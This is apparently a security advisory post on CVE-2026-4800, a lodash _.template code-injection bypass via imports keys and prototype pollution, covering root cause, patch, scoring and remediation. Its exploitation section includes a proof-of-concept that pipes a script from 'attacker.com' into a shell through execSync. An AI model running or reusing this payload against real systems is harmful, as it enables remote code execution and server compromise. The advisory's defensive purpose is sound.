Apr 2, 2026·6 min read·3 visits
A bypass in lodash's _.template sanitization logic permits remote code execution via direct input or prototype pollution. Attackers can leverage ES6 default parameter syntax within unsanitized imports keys to execute arbitrary code when the template function is compiled.
CVE-2026-4800 is a high-severity code injection vulnerability (CWE-94) in the lodash library's _.template function. Arising from an incomplete patch for CVE-2021-23337, this flaw allows unauthenticated attackers to execute arbitrary JavaScript upon template compilation via malicious object keys.
The lodash library provides the _.template utility function for generating compiled template functions. This function accepts a template string and an options object, returning a specialized executable function. The options object configuration includes an imports property, which defines global variables made available to the template's execution context.
CVE-2026-4800 documents a bypass of a previous security fix (CVE-2021-23337) within this compilation logic. The underlying issue is classified as Improper Control of Generation of Code ('Code Injection') under CWE-94. The sanitization logic fails to validate the key names supplied within the imports object before appending them to a dynamically constructed function signature.
This vulnerability fundamentally compromises the integrity of the application relying on lodash for template compilation. If user-controlled data influences the imports object keys, an attacker achieves unauthenticated remote code execution. The impact applies identically to server-side Node.js environments and client-side browser contexts.
The _.template compiler generates JavaScript dynamically. It parses the template body and constructs a signature using the Function() constructor. The parameters of this constructed function are derived from strings: the variable option and the properties of the imports object.
In the patch for CVE-2021-23337, developers mitigated code injection by validating the variable option against the regular expression reForbiddenIdentifierChars = /[()=,{}\[\]\/\s]/. This prevented attackers from escaping the variable name and injecting code. However, the exact same vector exists within the keys of the imports object, which were omitted from this validation logic.
Modern JavaScript permits default parameter assignments within function signatures. An attacker can construct an imports object key containing an ES6 default parameter syntax, such as x=require('child_process').execSync(...). When the lodash compilation logic joins these keys to build the Function() arguments, it places the attacker's expression directly into the signature.
The vulnerability is exacerbated by lodash's object merging strategy. The _.template logic uses the assignInWith function to merge default options with provided options. Because assignInWith traverses inherited properties using a for..in loop, the imports keys can be sourced indirectly via Object Prototype Pollution. If an attacker pollutes Object.prototype.imports, the compilation logic processes those polluted keys without requiring direct application input.
An analysis of the vulnerable _.template implementation reveals how the unvalidated keys reach the evaluation sink. The options parsing phase extracts keys from the imports object to establish the execution context.
// Vulnerable logic pattern (simplified)
var importsKeys = keys(imports);
// ...
// The imports keys are passed into the Function constructor
var result = Function(importsKeys.join(','), source);In the fixed version (lodash 4.18.0), the maintainers corrected this oversight. The patch expands the application of reForbiddenIdentifierChars to iterate over every key within the imports object. If any key contains a forbidden character (such as the = required for the ES6 default parameter attack), the execution is aborted or the key is neutralized.
Furthermore, the patch alters the underlying object merging logic. The use of assignInWith is replaced with assignWith, and explicit hasOwnProperty checks are introduced. This ensures that properties inherited from the Object.prototype chain are discarded during the preparation of the imports object.
These combined changes comprehensively eliminate both the direct injection vector and the indirect prototype pollution vector. The function signature construction is now strictly limited to standard JavaScript identifiers, neutralizing the primary compilation sink.
Exploitation relies on manipulating the function signature constructed during template compilation. The direct vector requires the target application to explicitly pass untrusted, user-controlled objects into the imports parameter of _.template. The attacker structures the JSON payload to include a key name formatted as an ES6 default parameter.
The indirect exploitation methodology relies on a prerequisite Object Prototype Pollution vulnerability. The attacker first sends a payload to pollute Object.prototype.imports. They inject a property key containing the malicious default parameter expression, pointing to an arbitrary value (often undefined).
// Exploitation via Prototype Pollution
Object.prototype.imports = {
'x=process.getBuiltinModule("child_process").execSync("curl http://attacker.com/shell | sh")': undefined
};
// Triggering execution
_.template('', {});When the application subsequently calls _.template, even with empty parameters, the internal assignInWith function merges the polluted prototype property into the compilation options. The Function() constructor parses the signature string, compiling the default parameter. Because default parameters are evaluated immediately during definition or instantiation, the payload executes synchronously before the template rendering even begins.
The CVSS v3.1 vector assigns CVE-2026-4800 a score of 8.1 (High). The high severity rating reflects the potential for unauthenticated Remote Code Execution. However, the Attack Complexity is rated High (AC:H) because exploitation typically requires specific application configurations or chaining with a secondary vulnerability (prototype pollution).
If successfully exploited on a Node.js server, the attacker executes arbitrary code within the context of the Node.js process. This enables full system compromise, data exfiltration, lateral movement, and the bypassing of application-layer access controls. If exploited in a client-side context, the impact mirrors Cross-Site Scripting (XSS), granting control over the user's session.
The EPSS score is 0.00068 (21st percentile). Currently, active exploitation in the wild is not confirmed. However, the widespread deployment of lodash across modern web architectures makes this an attractive target. Automated exploitation frameworks frequently include prototype pollution gadgets that align perfectly with this compilation sink.
The definitive remediation for CVE-2026-4800 is upgrading lodash to version 4.18.0 or later. This release contains the complete patch addressing the sanitization oversight and the prototype pollution exposure mechanism. Development teams must ensure that transitively dependent packages resolve to the patched version of lodash.
In environments where an immediate upgrade is impossible, engineers must implement compensating controls. Applications must sanitize any dynamic keys passed into the _.template options object. The imports object must be defined strictly with static, developer-controlled identifiers. User input should never dictate the structure of the imports object.
To mitigate the prototype pollution vector generically, Node.js applications should apply Object.freeze(Object.prototype) at application startup. This defensive programming practice prevents attackers from mutating the base prototype, severing the exploit chain before the polluted keys can reach the vulnerable lodash sink.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
lodash OpenJS Foundation | >= 4.0.0, < 4.18.0 | 4.18.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-94 |
| Attack Vector | Network |
| CVSS v3.1 | 8.1 |
| EPSS Score | 0.00068 |
| Impact | Remote Code Execution |
| Exploit Status | PoC |
| CISA KEV | No |
Improper Control of Generation of Code ('Code Injection')